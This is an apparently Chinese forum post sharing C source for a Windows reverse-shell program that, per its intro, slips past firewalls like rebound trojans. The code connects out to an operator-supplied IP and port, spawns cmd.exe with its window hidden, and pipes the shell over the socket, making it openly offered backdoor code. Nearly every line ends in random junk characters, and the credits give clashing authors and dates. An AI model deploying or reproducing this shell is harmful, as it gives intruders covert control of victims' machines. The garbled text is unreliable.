这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \+aC"#+0
V3 ~~
/* ============================== g1t0l%_7^
Rebound port in Windows NT ,U(1NK8o
By wind,2006/7 i[wb0yL
===============================*/ yR(x+Gs{]
#include T)r9-wOq
#include Yn8=
C z\Pp q
#pragma comment(lib,"wsock32.lib") t%F0:SH
)iFJz/n>
void OutputShell(); sc,Xw:YO
SOCKET sClient; o=0]el^A
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; J9~g|5
HRB<Y
mP@
void main(int argc,char **argv) Z+@2"%W
{ E Cyyl
WSADATA stWsaData; U8
nH;}i
int nRet; {%_L=2n6
SOCKADDR_IN stSaiClient,stSaiServer; "etPT@gF
j~*L~7
if(argc != 3) 9K1oZ?)_z
{ _a1x\,R|DB
printf("Useage:\n\rRebound DestIP DestPort\n"); D9M:^
return; s6>ZREf#J
} =:~R=/ZXk
KEWTBBg
WSAStartup(MAKEWORD(2,2),&stWsaData); 7hsGu a
jy'13G/b\
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,cNLkoN
KZ/=IP=
stSaiClient.sin_family = AF_INET; e=.]F*:J
stSaiClient.sin_port = htons(0); ght$9>'n
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T?X_c"{8M
<>Hj
;q5p
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) (DI>5.x"
{ 6'Fd GS
printf("Bind Socket Failed!\n"); Cg(Y&Gxf.
return; X7rMeu
} >p"c>V& 8
U*)8G
stSaiServer.sin_family = AF_INET; -,U3fts
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NU0g07"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); F]<Xv"
o_~eg8
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) >rf'-X4n
{ |j,"Pl}il^
printf("Connect Error!"); =uS9JU^E
return; ]UmFhBR-
} pej|!oX
OutputShell(); 4T ~}
} 62zYRs\Y)X
9gmW&{6q
void OutputShell() !_Wi!Vr_
{ a24"yT
char szBuff[1024]; o7$'cn
SECURITY_ATTRIBUTES stSecurityAttributes; !4X
f~P
OSVERSIONINFO stOsversionInfo; I"ok&^t^}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }|pwz
STARTUPINFO stStartupInfo; R#I0|;q4|p
char *szShell; 1]p ZrBh"E
PROCESS_INFORMATION stProcessInformation; ZusEfh?
unsigned long lBytesRead; P(f0R8BE
X"fb; sGT
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); xsD($_
j-lfMEa$o
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4GX-ma,
stSecurityAttributes.lpSecurityDescriptor = 0; B\o Mn
stSecurityAttributes.bInheritHandle = TRUE; }n>p4W"OM
H["`Mn7j2
MB~=f[cUnd
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); E4M@WNPx
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); t&AFUt\c
'2 PF
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fR(d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uc){+'[
stStartupInfo.wShowWindow = SW_HIDE; ?M\{&mlF
stStartupInfo.hStdInput = hReadPipe; *=V~YF:Qb
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; #
mV{#B=
*Qg _F6y
GetVersionEx(&stOsversionInfo); >LOjV0K/
f}9zgWU
switch(stOsversionInfo.dwPlatformId) f,kZ\Ia'r
{ @}}$zv6l,
case 1: ;6>2"{NW
szShell = "command.com"; e?8HgiP-
break; '/^qJ7eb
default: X\bOz[\
szShell = "cmd.exe"; ;)D];u|_
break; ~T1XLu
} M`,)w i
zem8G2#c
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "eB$k40-
uM_wjP
send(sClient,szMsg,77,0); hhCrUn"
while(1)
EK6:~
{ Bu#VMkchJ
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 6\g cFfo
if(lBytesRead) YQj 2
{ @$[?z9ck"
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Brf5dT49
send(sClient,szBuff,lBytesRead,0); PoG-Rqe
} XAF+0 x!
else CxwoBuG=?
{ `erV$( M
lBytesRead=recv(sClient,szBuff,1024,0); /`wvxKX
if(lBytesRead<=0) break; Y 0d<~*
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); : y%d
} #h`
V>;
} (|klSz_4LM
9\_eK,*B
return; ;$.J3!
}